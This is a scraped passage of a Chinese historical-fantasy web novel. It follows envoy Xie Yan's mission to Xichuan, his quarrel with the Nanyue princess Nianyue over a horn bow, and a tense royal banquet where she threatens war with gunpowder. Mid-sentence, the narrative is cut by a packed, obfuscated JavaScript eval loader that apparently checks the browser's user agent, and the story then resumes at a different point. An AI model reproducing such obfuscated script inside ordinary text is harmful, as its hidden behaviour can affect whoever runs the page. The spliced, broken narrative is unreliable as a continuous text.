这次暗杀,从明面上来看,更像是魏相的手笔,毕竟在来之前,魏相不仅百般阻拦此次议和,更是差点被他们气到吐血,这是满朝文武皆知的事,要是他们这些使臣和商队真出事,第一个被怀疑的人也只会是魏相,但事实又真的是如此吗? 谢彦在心里思忖了片刻,又去检查韩离带回来的那具尸体,谢彦先观察了尸体身形长相和肤色,之后是手脚,最后又摸了尸体四肢的关节部位。 之后他又去检查了那些带回来的武器,检查完后,谢彦眉头微微皱起,不过他也没对其他人说他的检查结果,只是让韩离把带回来的这具尸体处理了,便下令继续赶路。 队伍中的使团成员和商队的人,在确定他们确实遇到了埋伏,还是那么多的杀手,也是后怕不已,但见谢彦如此镇定,他们又都如同吃了定心丸,并没有发生骚乱。 等穿过了这条又长又狭窄的山道后,往前又走了一段路,便到了与西川交界的玉城地界了。 本来谢彦以为一进玉城地界,就会看到战争留下的满目疮痍,不过让他没想到的是,在进入玉城的地界后,他却看到了草场和成群的牛羊。 除了草场外,玉城的百姓也有可供耕种的土地,并且庄稼的长势也不错,这可能跟此地半耕种半养殖的环境和气候有关,那些养殖的牛羊和马粪,不仅可以用来肥草场,还可以用来肥田。 玉城现在这种情况,可能和西川不好战有关,虽然西川边境偶尔也会有战争,但大部分时候都处于休战状态,相比较南越和北狄还有突然发疯的东陵边境的情况,要好许多,这也是当初谢彦会提出主动与西川议和的原因之一。 不过玉城现在的这副平静祥和的状况,肯定和沈金戈相继平定南越和东陵脱不开关系,甚 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他说罢对身边的一个下属交代了几句,然后就带着其他人走了。 谢彦看着曾进匆匆离开的背影,面上没什么情绪,只是让他留下的那人带他们去驿站。 随行的各位使臣见谢彦都没说什么,也没有多言。 曾进留下的那人带着他们进了驿站后,谢彦等人就发现,玉城的驿站房屋和他们一路上所住的驿站的情形完全不同,墙体四处开裂不说,有的房间上面还夸张的有破洞,房间里的床铺上更是只有木板,连张草席和枕头都没有。 即便是他们路上住过的最小最破的驿站,也没有破到如此地步。 “还请各位大人莫要嫌弃,我们玉城地处边境,这些年受战乱影响,虽然表面看着还可以,但实际上知州大人为了接济玉城百姓,如今库里早已入不敷出,实在拿不出多余的银子修缮驿站,各位大人连接风宴都不让我们摆,想来定是高风亮节之人,不会计较驿站简陋。” 同来的使臣虽然确实不是太在意住宿条件,毕竟如今大启什么情况,他们也都清楚,但他们也不是傻子,他们不相信连派几个人修缮一下房顶的银子都没有,他们觉得这是有人想给他们来个下马威,不过他们倒也没有立刻发作,而是看向谢彦。 谢彦示意他们稍安勿躁,四下看了看,手还在满是尘土的桌子上摸了一把,随即对曾进留下的那人道:“还劳烦你回去转告知州大人,就说驿站准备的不错,我们很满意。” 他说完就示意那人可以走了。 那人本来还准备再说什么,但见状也只能离开了。 等那人走后,此次同来使臣中官职最高的单明远对谢彦道:“玉城知州姚延善是魏相的外甥,他这恐怕是准备给我们一个下马威,接下来我们得小心一点。” 谢彦点了点,其实要论官职,单明远是四品,不仅比那位姚知州高出一级,而且又是皇上钦定的使臣,要是一般人肯定不敢如此对待他们。 但这位姚知州不仅是魏相的外甥,还是太后的表哥,自然就不是一般人。 单明远虽然也不过四十出头,但也算是官场老手了,他怕谢彦不了解姚延善的真实身份,所以才会出言提醒。 都说强龙不压地头蛇,姚延善在玉城担任知州多年,恐怕在这里早已根深蒂固,要是硬碰硬,他们这些初来乍到的肯定得吃暗亏。 吃暗亏不可怕,怕的是再影响到这次的出使任务。 谢彦来前就对玉城知州的身份背景做了调查,不仅如此,他还对驻守西川边境的统帅范鹏做了调查,那位据说脾气火爆的范将军虽然和魏相他们没什么关系,但曾经却和沈傲有些过节。 自己现在顶着镇国大将军女婿的名头,也不知那位范将军会不会和姚延善联合起来刁难他。 所以此次西川之行,谢彦他们不仅要对外,还得分出精力来防着自己人在暗中使绊子。 跟着谢彦他们来的商队的人,也没想到谢彦他们在玉城会遭到同僚这样的薄待,谢彦和那些使臣一路上对他们多有照顾,谢彦更是无论吃什么好吃的,同行的人一个都不会落下,所以大家自然也得给他支棱起来。 虽然他们这些商户没什么大本事,但他们有人啊,还有点小钱,因此大家二话不说,就在驿站附近找人打听,买了些材料把驿站的屋顶和墙缝给修缮好了,又买了不少草席回来,不过现在是夏天,被褥就不用买了。 那些看守驿站的人见状,倒是挺高兴的,毕竟修缮驿站的报告他们都不知打了多少回上去了,最后上面都说没银子,以往要是京城有大官过来,姚知州也不会把人往这四处漏风的破驿站里带。 谢彦把大家的举动都看在了眼里,不过他也没有多说什么,在大家忙活的时候,他带着韩离出去了一趟,一直等天快黑了才回来。 谢彦他们回来的时候,还带了不少羊和调料回来。 他让人把那些羊都宰了,亲自下厨给大家做了顿好吃的,就连看守驿站的人也跟着沾了光。 不知是不是吃人嘴短,还是说谢彦他们一来就花钱买材料把驿站给修缮好了,总之驿站的人并没有把谢彦他们的情况如实汇报给姚延善派来查看情况的人。 第二日,谢彦和单明远去府衙,打算了解一下西川那边的情况,这下别说姚延善,就连曾进都不露面了,只有一个小吏接待了他们。 小吏说他们知州大人已经病得无法见客,至于曾大人,则去了玉城下属的一个县,那边有些紧急事务要他亲自过去处理,一来一回至少得要七八天。 谢彦和单明远闻言对视了一眼,也没多做停留,直接回了驿站。 次日他们又在城中转悠了一天,不仅跟当地商贩询问了一下西川边境的风土人情,还跟他们买了一些玉城的特产,不知道的人,还以为这群人是来游山玩水的。 到了玉城的第三日,谢彦便率领众人出发前往西川,谁料却在出关的城门口被守城的将领拦住了。 守城的将领告知他们,没有知州大人在出关文牒上盖印,即便谢彦他们是使臣有节杖,也是不能出关的,还说这是规矩。 谢彦见那个守城的将领连出关用的文牒看都没看一眼,就直接拒绝了,淡淡道:“姚大人现在病重,怕是短时间内无法处理公务,不知除了姚大人,可还有其他人有这个权力?” “有,驻守西川边境的统帅范鹏将军也有这个权力。”守城的将领说完,谢彦明显从他的眼里看到了一丝嘲弄。 谢彦闻言点了点头:“那就请放行吧!” 他说着把手里的文牒展开递给了那人看。 那个守城的将领闻言,脸上露出一丝不耐烦,刚想再次拒绝,就看见了展开的文牒上赫然盖了印。 就听他有些失态地道:“这怎么可能?” 谢彦闻言神色突然变的严厉起来:“你要是有质疑,大可以派人去和范将军核实,但你作为一个守城的将领,要是连这印的真伪都辩认不出来,那就是失职!” 守城的将领自然辨认得出印的真伪,但他要是就这么把人放走了,他恐怕也就完了,而且他是真的想不通,范鹏怎么会帮沈傲的女婿,他们不是死对头吗,他对沈傲的女婿不该是百般刁难才是吗? 这时一旁的单明远疾言厉色道:“尔等再敢耽误我等出使西川,本官回去必定禀明皇上,到时不止你,就连你的家人也要被诛连!” 守城的将领闻言脸色一白,要是范鹏不帮谢彦他们,他还真不怕单明远耍官威和威胁,毕竟他们根本就没打算让这些使臣和商队的人活着回京城,但如今范鹏既然插手了,就相当于范鹏是站在谢彦他们那边的,那谢彦他们要是在玉城出了什么事,以范鹏的个性绝对不会坐视不管。 只要范鹏插手,谢彦他们也就还有活着回去的可能,只要谢彦他们一回京,恐怕就连他们的知州大人都得倒霉,到时还能有他们这些小虾米什么好果子吃。 得罪知州,最多死他们自己,但要是公然阻拦皇上派出的使臣被皇上知道,死的恐怕就是他们的九族了,在心中权衡了利弊之后,守城的将领只能放谢彦他们出关,同时也派人把这事去禀报姚延善。 “废物,都是一群废物!” 姚延善在听到谢彦他们已经出关的消息后,气得一把摔了手中的茶盏,大得有些吓人的眼袋都明显抖动了几下,随即他又对一旁的曾进道: “派人去查,看范鹏那混蛋为什么会愿意插手此事?” “是,属下这就去查!”曾进说完就赶紧退了出去。 在曾进走后,姚延善连忙写了一张字条,飞鸽传书了出去。 只是他不知道,那只鸽子还没飞出玉城,就被人给射了下来。 “听说范将军脾气很差,而且还和沈大将军有些私人恩怨,你去找他帮忙的时候他就没有为难你?” 他们出了关后,在休息的时候,单明远有些好奇的问谢彦。 谢彦心说怎么没有,范鹏见到自己时鼻子不是鼻子眼不是眼的,还说沈傲的闺女眼光怎么比她娘还差,竟然看上了他这么个绣花枕头,要不是自己送了他一颗会炸的球,估计得被他扣下一直骂。 不过这些谢彦自然不会和单明远他们说,他只是说:“范将军性情耿直,公私分明,我只是与他阐明了此次与西川议和对于大启的重要性,他便抛开个人恩怨,同意出手帮忙。” 单明远他们可能也了解范鹏的秉性,闻言不疑有它。 踏入西川地界后,因为玄崇已经派人提前递交了与西川议和的书信文书,所以他们这些大启来的使臣,一路上倒是并没有被人为难,只是他们带的那些货,一路上不知被查了多少遍。 不过检查的人虽然目光中都带着羡慕和贪婪之色,但却没敢苛扣,他们可能以为那些好东西都是送给西川皇帝的贡品,而谢彦自然也不会说破。 西川这边明显比玉城的环境还要好,一路上大片的农田里长着郁郁葱葱的庄稼,还有十分壮观的牧场,牛羊甚至是马群一路上应接不暇。 不得不说,如果没有战争,西川人的日子过得应该十分滋润了,但就是这样百姓丰衣足食的国家,也依旧会被战争裹挟进去,贪念和来自其他国家的威胁,让他们不得不战。 等到了西川皇都,谢彦他们被西川对外的使臣带去了专门供别国使臣居住的驿馆。 而西川的驿馆里,此时已经有其他国家的使臣提前入住了。 不过西川的驿馆建的即华丽又十分之大,所以倒是不用担心他们带来的那么多货没处放。 只是谢彦没料到的是,比他们先到的竟然是南越的使臣,而且据接待他们的西川使官说,这次南越出使西川的,竟然是他们的长公主念月。 28. 南越长公主 谢彦在等着西川王召见的空当,带着韩离和夏星河家这次派来的管事夏开,在西川的皇都逛了逛,想先探探西川这边当下的市场行情。 谢彦之所以会带上夏开,是因为夏开以前不仅来西川做过生意,甚至还能说西川这边的话,有他在,也不用担心语言不通的问题了。 不过其实西川这边做生意的人,很多都会说大启的官话,虽然说的不是那么标准。 当然,这还要看人家愿不愿意跟你说,毕竟现在在西川人的眼里,大启的危机还没有完全解除,即使大部分西川人,对大启的很多东西几乎到了痴迷的程度,但在这敏感时期,他们对待大启的态度,依旧保持中立观望的态度。 西川这边店铺装饰的和大启完全不同,大启的很多店铺装修要么讲究实用性,要么讲究一个雅,即便是云上楼那样奢华的地方,也依旧离不开一个雅字。 而西川这边的店铺,则有着浓郁的地域风情,店铺装饰的十分华丽夺目,就是那种怎么华丽怎么来。 谢彦带着韩离和夏开,先是进了一家瓷器店,这里不仅有西川自己烧的粗瓷和陶器,更有大启烧制的细瓷,不过那些细瓷的品相,在谢彦看来,在大启也就最多是中下的水平,但一问价格,却高的吓人,一套民窑烧制的细瓷茶盏,竟然要十两银子,这在大启最多也就一两左右的价格。 不仅谢彦听到价格有些吃惊,就连以前来西川做过生意的夏开都震惊不已,毕竟以前他们来做生意的时候,这样成色的一套细瓷茶盏也最多能卖个五两。 不过很快他们就意识到,这应该跟这几年西川都没有与大启通商有关,所以大启的这些瓷器以及各种西川人喜爱的大启货品,就成了抢手货,价格自然也就水涨船高。 “你们大启人,还需要到我们西川来买瓷器?” 瓷器店老板看了看谢彦三人,用一种我已经看出你们是来打听价格的语气道。 三人闻言都不觉有些尴尬,不过让谢彦有些疑惑的是,老板怎么一眼就认出他们是大启人,而没有把他们错认成东陵或是南越人? 毕竟除了北狄和西川人地域特征比较明显,大启、东陵和南越三国的人其实长得并无太大区别。 老板不知是不是看出了谢彦的想法,用不太标准的大启官话,指了指谢彦和韩离道:“东陵和南越那些蛮夷之地,怎么可能生出你们这样相貌和气度的人来。” 谢彦因为老板这句话,本来只是来打听价格的人,竟然在店里挑了两只很有西川特色的粗陶罐,也没还价就买下了。 随后他们又去了布庄,不出意外,当谢彦问有没有大启的丝绸时,老板竟像看傻子一样的看着三个大启人,那表情明显是在说,你们这些大启人还需要跑到西川来买丝绸??? 老板甚至凑到谢彦他们身边小声说:“丝绸我这里没有,但你们应该有吧,我出一百两一匹收购。” 谢彦听了老板的话,就知道他是猜出他们的身份了,毕竟这几年西川和大启都不通商了,西川皇城,自然就没什么大启人出现了,而且他们这次来,带了那么多车货浩浩荡荡的进了西川皇城,想不被人注意到都难。 而夏开在听了老板开出的价格后,喜得嘴都快裂到耳后了,谢彦一看他那表情,就知道他是想到他们夏家这次带来的那些丝绸了。 夏家这次不仅带了丝绸,还带了普通人也能买得起的染色艳丽的粗布,甚至还带了就连大启那些达官显贵都却置若鹜的流云锦。 不过现在议和的事还没有进行,这私下买卖的事自然是不能做的,因此谢彦朝老板拱了拱手,便带着夏开和韩离走了。 之后他们又去了茶叶行,茶叶在西川和丝绸以及瓷器一样都算是奢侈品,虽然西川的气候很适合种植棉花粮食和畜牧业,甚至还盛产香料,但遗憾的是,这里的气候却很难种出茶叶。 无论西川或北狄和东陵人,都最爱喝大启的茶,但因为这几年和大启断了商贸往来,他们就只能从南越那边买茶。 虽然南越的茶也还不错,但南越地方小,土地有限,茶的产量自然也就有限,他们不仅要卖茶给别国,还得供自己国家所需,所以价格这几年都不知翻了多少倍了,即便如此,其他几国也没有办法,还得捏着鼻子继续买。” 如今茶叶在西川和北狄以及东陵,已经完全成了普通人根本喝不起的奢侈品,就连几国的贵族,也得悠着点喝,这可能也是他们想尽快瓜分大启的原因之一。 接着谢彦他们又去了酒铺,西川这边人最为擅长的是酿葡萄酒,白酒却不太会酿,即便有,品质也不敢恭维,大启白酒在这边根本没有,齐钊家带来的那些白酒,绝对能卖个好价钱。 一圈下来,除了根本不懂生意的韩离,谢彦和夏开都心情大好。 在要回去的时候,路过一家卖弓的店铺,谢彦想到了要给柳如烟寻把趁手武器的事,便进去看了看。 店里最显眼的位置,挂着一把一看就质感非常好的牛角弓,弓的两端还包着兽皮,与之配套的是一个兽皮箭筒和羽箭。 谢彦一眼就看上了这把弓,便问了老板价格。 可能做生意的人,都有天生感知顾客到底是真心想买还是在打探价格的能力,所以弓店的老板并没有因为谢彦是大启人,就怠慢谢彦,他用不太熟练的大启话,跟谢彦介绍了这弓的特性。 据说这把弓是他们店里的镇店之宝,是西川一位十分有名的制弓名匠所制,这把弓的拉力高达百斤,一般人根本就拉不动,因此他还给谢彦推荐了几把适合普通人用的弓箭。 虽然谢彦也不知道柳如烟拉弓的极限到底是多少斤,但谢彦相信他肯定能拉得动这把弓,所以他毫不犹豫地决定买下这把弓。 老板见谢彦价都没还就要买下,即有些舍不得这把镇店之宝,又特别高兴做成了一笔大生意。 就在他心情复杂的准备给谢彦打包的时候,就见一个穿着一身华丽紫衣,皮肤微黑但五官却很漂亮的年轻女子走了进来,她身后还跟着两个穿着蓝衣蒙着面纱的侍女。 谢彦一看那两个侍女头上和手腕上的银饰,大该就猜出那个只在额头佩戴了一个珍珠抹额的紫衣女子是谁了。 那个紫衣女子一进门,不算特别大的店铺里立刻就弥漫开有些呛人的香味,那香味熏的一旁的韩离没忍住打了个喷嚏。 紫衣女子不满的瞥了韩离一眼,随即没再看店里的任何人,径自走到那把牛角弓前,轻松拿起那把一看就很沉的牛角弓,之后对店老板用十分标准的西川话说:“这把弓本公主要了。” 店老板听她以本公主自称,以及她的穿着打扮,就猜到这个女子可能是刚到西川的南越长公主。 不过不管是谁,凡事都有个先来后到,毕竟这个公主又不是他们西川那位人人爱戴的小公主,而且他对谢彦这种爽快的客人很有好感,于是他毕恭毕敬道: “对不起,尊贵的客人,这把弓已经被这位客人买下了,您要是喜欢弓箭,小店还有不少好弓,您可以另选一把。” 念月听了老板的话,淡淡瞥了谢彦一眼,微微上挑的眸子里满是鄙夷:“本公主这是在救他,大启的百姓和将士已经穷的吃不起饭了,身为大启来使,不知节俭也就算了,怎么还能公银私用,这要是被他们那位自己都舍不得吃喝的大启皇帝知道,回去不得砍了他的头。” 老板闻言,一时竟不知如何作答,有些为难的看向谢彦。 谢彦没想到,传闻中容貌倾城,德才兼备的南越长公主,在别国的时候竟然是这副嚣张跋扈的样子,也不知是装出来的还是本性如此,但不管她是什么性子,谢彦也不可能惯着她。 “大启百姓和将士的吃饭问题,自有我大启国君和官员操心,就不劳南越长公主费心了,至于你说本官公银私用,还请拿出证据,要是拿不出来,那你就是在信口开河,要是让世人知道,传闻中德才兼备的南越长公主,竟然只是一个为了一己私欲,就随意泼人脏水,不知你这好名声还能维持多久!” “说得好,我西川人做买卖,向来讲究诚信,既然这把弓是这位客人先看中并买下的,自然就该卖给他,南越的长公主不仅要强买,还出口伤人,恶意揣测别人,实在有失你的身份。” 谢彦寻声看去,就见一个身形很高,鼻梁也高眼睛还很大的西川少年,从一个货架后面走了出来,他的手里还拿着一把做工十分精巧的弓。 只是他身上的衣服和他的气度明显有些不匹配,不仅破旧还有些脏兮兮的。 最让谢彦意外的,他竟然说的也是大启官话,还说的十分标准。 念月显然也听得懂大启官话,闻言面色微沉道:“难道这就是你们西川的待客之道,本公主可是你们的贵客,一个西川乞丐都敢如此跟本公主说话,待本公主见到西川国君后,到要问问他,他到底是怎么约束西川臣民的!” 谢彦却道:“一直听闻南越人看到别人有好东西就想抢,甚至为达目的不择手段,本来还以为传闻不可信,今日得见南越长公主,才知传闻非虚。” “大胆,你一个大启的小小使官,竟敢如此和长公主说话,就不怕挑起两国之间的矛盾再次开战吗?” 念月身后的一个侍女闻言呵斥道,语气里满是威胁之意。 那个西川少年却插话道:“要是你们南越堂堂的长公主,连一点真话都不让人说,那我看你们南越的未来也着实让人堪忧,还有,难道你觉得这位客人不反驳你们的长公主,你们南越就能不寻由头找人家开战了吗?” “大胆” 侍女闻言再次出言怒斥,但她刚说了个大胆,就被店老板给打断了:“这里是西川,不是你们南越,南越长公主即便是西川贵客,也没有在别国国土上仗势欺人的权利,这把弓是这位客人先买下的,那就该遵守规矩卖给他,还请南越长公主还回来,不然我就要去报官了。” “好,好得很,西川真是越来越认不清自己的位置了,还给你,本公主不稀罕!” 念月被几人怼得恼羞成怒,直接把手里那把十分沉的弓狠狠朝谢彦砸了过去,那速度快得所有人都没反应过来,以谢彦的身体,这一下要是被砸中,可能直接就噶了。 万幸韩离在半道接住了念月砸过来的弓,同时他的另一只手反手一掌就朝念月打了过去,那掌风直接把念月打的倒退了好几步才稳住身形。 “敢伤我家大人,找死!” 韩离说完又要扬掌,却被谢彦制止了。 谢彦也是到此刻才看见韩离真正展示出他的武功,光掌风就能把念月打得退出去好几步,他真正的功夫恐怕深不可测。 而已经被打得退到门口处的念月,则面色苍白的捂着胸口位置。 “莫非大人也怕她们南越不成?”韩离顾不上去看谢彦如同在看一个绝顶高手的目光,他一路上都没见谢彦怕过什么,如今别人都要拿弓砸死他了,谢彦竟然还要拦着自己,这让他非常生气。 谁料谢彦却道:“不是怕她,而是如今我们在西川的皇城,要是在这里打死她,会让西川国君难做,要打也等我们出了西川再打。” 谢彦如此直白的话,让本来还很生气的韩离差点没忍住笑出声,而那个西川少年闻言,则有些意外的看了谢彦一眼。 “堂堂一国公主,怎么会是这副德行,难道南越还真以为是百年前不成,如今都被大启第一女战神给打败了,竟然又跑到西川作威作福来了!” 老板看来也是性情中人,他见念月竟然完全不把他们西川放在眼里,甚至还差点让他的店铺变成凶案现场,气愤不已,又因为谢彦刚才那番话,太对他们西川人的脾气了。 念月本来就被韩离那一掌打的气血翻涌,如今又被几人的话气得直接吐出一口血,她身边的侍女见状被吓了一跳,本来还想替自家主子找回场子,却被念月制止了,随后她带着俩人匆匆走了。 “今日让大启来使受惊了,这把弓,我便宜两成卖与来使,就算是请来使喝一杯压惊酒。” 谢彦没想到一个西川开店的老板,都比那个南越长公主有格局,虽然他刚才确实被吓了一跳,要是没有韩离,他还真不一定能躲过念月突然发疯砸向他的弓,但这和老板又没任何关系。 而且不管是老板还是那个西川少年都在为他们大启说话,这让他对西川人的好感度又上升了不少,他朝老板摇了摇头: “多谢老板的好意,但此事与你无关,该多少就多少。” 说完他又看了看衣着破旧的西川少年和他手里的那把弓,随即对老板道:“这把弓也要了,就当是替大启国君赠予西川朋友的礼物。” 谢彦此话一出,老板再看向谢彦的目光里,明显多了崇敬,心说这才是大国使臣出使别国该有的风范,随即又看向念月匆匆离开的背影,不禁摇了摇头。 而那个西川少年则朝谢彦拱了拱手,“那我就替我妹妹收下大启国君赠予的这份珍贵的礼物。” 谢彦也朝少年拱了拱手,再次感谢他刚才仗义执言。 西川少年朝他摆了摆手,随后拿着那把精巧的弓走了。 谢彦他们回去后的第二日,接待他们的西川使官来驿馆找谢彦,说他们的国君在宫里设了宴席,邀请大启使臣和南越使臣一起参加。 让大启和南越这两个死对头坐到一块吃饭,谢彦觉得,这个西川王怕不是想搞事情,但不管西川王打的是什么主意,他们也只能答应。 当谢彦带着使团成员踏进西川富丽堂皇、到处金光闪闪的皇宫时,念月已经带着南越使团先他们一步到了,并且从谢彦一进门,她的目光就上上下下在谢彦身上扫了一遍,眼里又恢复了之前的不屑和鄙夷,就仿佛昨天吐血的那个人不是她一样。 谢彦只是淡淡扫了她一眼,虽然他不确定念月是故意表现的如此嚣张和肤浅,还是本性就是如此,他都不想在念月和南越的身上浪费时间。 对于南越,谢彦自然没有对西川这么好的耐心,因为他们不配,要是南越再作死,他会无偿送沈金戈一批火药,让她直接把南越炸成渣渣。 而且在谢彦看来,念月虽然被世人传的容貌倾城,德才兼备,但在他看来,念月不管是外貌还是风度,都不及传闻中的半分,看来传闻果然不可信。 谢彦虽然在心里曲曲念月,但面上却丝毫不显,给人的感觉一副谦谦君子的模样。 坐在上方的西川王把谢彦和念月的一举一动都看在了眼里,有些出乎他意料的是,谢彦竟然带着大启使团,恭恭敬敬的给他行了个西川的礼节。 正是这个西川的礼节,让西川王莫名对这个俊美非凡的年轻人和大启使团又多了些好感,他可没忘记,刚才南越的长公主带着南越使团进来的时候,可是一副目中无人的样子,他们只是用南越同等位置的人行的礼节,给他这个一国之君敷衍的行了个礼。 虽说念月贵为南越长公主,身份尊贵,不是谢彦一个大启使臣能比的,但她最起码也该给自己行个长辈礼,而不是平辈礼,这明显是根本没把他这个一国之君放在眼里。 不过西川王到底是一国之君,喜怒自然轻易不会表现在脸上,在谢彦他们行完礼后,便让他们入坐。 待谢彦他们落坐后,西川王也没有立刻进入正题,而是先请他们欣赏了一场颇具异域风情的舞蹈。 西川人的穿着本就大胆,现在又是夏天,再加上这些舞姬的职业,自然穿的清凉又性感,身姿又优美,跳起舞来风情万种,美不胜收。 而谢彦也没有像单明远他们那种非礼勿视的想法,他认认真真的欣赏这难得一见的西川舞蹈。 坐在对面的念月见状,眼神就如同在看一个好色之徒,嫌弃又鄙夷。 一曲舞下来,坐在上方的西川王,突然用大启的官话问谢彦和念月:“不知二位来使觉得,我西川这美酒和这舞比起大启和南越的如何?” 念月闻言道:“本公主这次前来,是有要事相商,意不在这美酒和舞上,所以这比较自然也就无从比起,陛下到不如让刚才仔细欣赏的大启使臣来说一说。” 西川王闻言笑着点了点头,随即还真看向谢彦的方向,似想听听他的评价。 谢彦闻言也没推脱,认真点评:“西川的舞热烈奔放,亦如热情好客的西川人一样,让人倍感亲切,宾至如归,而美酒则甘甜醇香,回味无穷。” “听你这么说,就是说西川不管是舞还是酒,都比你们大启好?” 念月见谢彦把西川的舞和美酒夸的天上有地上无的,而且看他那神色还不像是在说奉承话,倒像是发自内心的,眉头微不可查的皱了一下,随即抛出了一个难题给谢彦。 “非也,我大启的歌舞含蓄内敛,犹如这西川的美酒,需要细品方见其中妙处。而我大启的酒,则烈如西风,亦如大启人的性格,被别人打压的越狠,反击的后劲就会越大,而这一点,相信念月公主应该深有体会。” 谢彦说到这里略微顿了一下,在念月开口前接着道:“所以本官认为,无论是西川的舞和美酒,还是大启的舞和烈酒,都不分伯仲,各有千秋。” “你” 念月刚欲发作,就被西川王给打断了:“哈哈哈,好一个不分伯仲,各有千秋,就冲大启来使这句话,本王也想尝尝大启烈如西风的酒,到底是何种滋味!” 谢彦的话不仅让西川王大为赞赏,就连同来的单明远他们,也被谢彦的话说的心潮澎湃,更是一次次的被谢彦的才华所折服。 而同跟来的韩离,这个原本一身傲骨的少年,此刻已经完全变成了谢彦的迷弟。 本来因为念月公主应该深有体会这句话,而被气得变了脸色的念月,在听了西川王的话后,又变得有些幸灾乐祸: “看来大启使臣这次话说的有些大了,虽然大启的酒确实不错,但要说烈如西风,未免太过夸大其辞,西川国君身份何等尊贵,你竟然敢当众诓骗于他,不知居心何在,还是说你们大启根本就没有把西川放在眼里!” 谢彦没理会念月挑拨的话,而是朝西川王行了一礼才道:“陛下,我大启已有数载未与周边各国通商,所以各国对如今的大启不了解也是人之常情,虽然大启以前的酒确实没有在下说的那么烈,但却不代表今日的大启没有烈如西风的酒,陛下若是想品尝,自然可以,在下来时让人带了几坛过来,就在宫门外,陛下若是同意,可派人去取来。” “如此甚好!” 西川王闻言,满意的点了点头,立刻让人去取酒来。 而一旁的念月,则是一副等着看笑话的表情,虽然她也听南越探子说过,谢彦卖的酒与别人的有些不同,但那酒她也尝过,虽然确实不错,但要说烈如西风,还是有些言过其实了。 只是念月不知道的是,谢彦带来的这几坛酒,是他自己亲手酿的,而不是那些二次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢彦见他揣着明白装糊涂,毕竟玄崇早已提前在文书里写清他们此行的目的了,西川王不可能不知道,他现在当着念月的面又问,明显就是要让念月也知道大启此次出使西川的目的。 不过西川王这么做也无可厚非,毕竟把两家来使的目的都摊到明面上来谈,这样对西川反倒更有利,南越和大启要想达成自己此次出使西川的目的,就必须拿出比对方对西川更有利的条件来才行。 不过对于西川王问谢彦的问题,念月则表现出一副毫无兴趣的表情,似乎对自己此次出使西川的结果胜券在握。 谢彦见状,也没隐瞒,把此行议和和恢复两国之间商贸往来的事详细说了一遍。 西川王闻言点了点头:“这对我们双方来说,确实是利国利民的好事。” 他说到这里突然话锋一转:“不过我还想再听听南越来使的目的,再做决定。” 谢彦闻言道:“这是自然,陛下请便!” 西川王见谢彦面色如常,于是又看向念月。 谁料念月却道:“此事事关南越机密,本公主希望西川国君能把不相干的人请出去,不然肯定会后悔的。” 西川和南越虽然有利益来往,但却也不惧南越,毕竟现在的南越又不是百年前的南越,西川王真不知念月到底哪里来的底气,竟然已经狂妄到了如此地步,在大启使臣说明自己来意的时候,她就杵在那里一动不动的听着,现在轮到她说了,她竟然开始拿话威胁自己。 “既然念月公主毫无诚意,那本王看你也就不用说了,西川风景美食皆不错,公主不如留在西川再玩上几天,就回去吧!” 西川王说完,转头又看向谢彦,刚想同他说什么,就听念月冷笑道: “本来念在西川一直与南越交好的份上,南越有了好事,才想着西川,既然西川国君不领情,那便罢了,只是等到百年前的历史再次重演的时候,还希望你不要后悔!” 西川王闻言,顿时面色一变,他终于知道念月哪里来的这么大的底气了,莫不是南越,又出了能配制出火药的高人? 要真是那样,以南越的野心和嗜杀成性,百年前的惨剧岂不是要再次上演。 “在本公主走出西川皇宫之前,西川国君还有反悔的机会,不过前提是请先把不相干的人给请出去,本公主倒不是怕大启来使知道,反正他们迟早都会知道,只是大启靠着一个女人,才刚扑腾了几天,本公主心善,实在不忍心这么快就看到他们绝望的样子!” 西川王此时心都乱了,满脑子都是百年前的血流成河,虽然他没有亲身经历过,但祖辈口口相传,早已是刻在骨子里的恐惧。 说实话,在这件事上,其他几国应该都要感谢大启沈家,不然如今哪里还有他们这些国家,恐怕早已是南越的天下了。 只是这些年西川为了自保,才不得不保持中立,还时不时要和大启驻守边境的军队打上一架,唯有这样,他们才不至于被其他几国针对,不然说不定也会像大启那样被人合力围剿。 当然还有一点,西川王是不可能承认的,那就是他也有贪念,他对大启的各种物品甚至是文化,都到了几乎痴迷的程度,要不然他的大启话也不可能说的这么好。 要是真有瓜分大启的机会,西川王也不可能因为心底那点尚存的良知而放弃。 如今南越既然第一个找上了西川,自然就不会允许西川拒绝,不然西川就是第一个要被南越吞噬的国家。 谢彦看着不可一世,一句话就准备将刚刚平息的战乱再次挑起的念月,只觉得这人真是越看越让人厌恶。 就在西川王想开口让谢彦他们暂时先回驿馆的时候,就听谢彦道: “陛下,在下有一个疑问,可否请陛下替在下解答一下,也不枉大启使团这么远来西川一遭。 西川王和念月听了他这话,还以为他已经被吓的要主动打退堂鼓了,虽然以西川王现在的思绪,也很难替他解答什么,但还是答应了他的请求,示意他说。 “多谢陛下,在下想问的是,既然念月公主能说出让百年前历史重演的大话,为何还要来找西川合作,以他们的性格,完全可以自己横扫周边列国,除非” “除非什么?” 念月见原本就快被赶走的谢彦,居然三言两语就又让西川王犹豫了,立刻道:“陛下,你可不要听他的挑拨,本公主从来不放空话,这世人皆知。” 谢彦却嘲讽道:“念月公主会不会放空话,这恐怕只有你自己知道,南越配制火药的方法,早已失传了,这也是世人皆知的事,要是你说的都是真的,那你要如何证明,总不能只凭你空口白牙,就以为别人会受你的威胁吧!” “本公主既然敢说这话,自然就是有备而来的,不过这与大启来使无关,无需向你证明!” 谢彦:“你确实无需向本官证明什么,但念月公主却在我大启与西川商谈议和这么关键的时刻,出言威胁西川国君,要是此次计划被你破坏,不管是大启,还是西川,所遭受的损失都不会小,而南越却是最大的受益者,这种有损大启和西川安危与利益的事,怎么可能与本官无关。” 念月闻言像是听到了什么笑话,脸上的轻蔑之色更甚:“那不知大启来使欲待如何?” 谢彦:“自然是要你证明你所言非虚,不然就是在信口开河,诓骗西川国君。” 念月刚想拒绝,就听西川王道:“本王觉得大启来使说的不无道理,念月公主,既然你是有备而来,不妨现在就当众证明一下。” 念月点了点头,不过随后伸出她那细长还抹了丹蔻的手指指向谢彦:“可以,但他们大启使团不可以在场!” 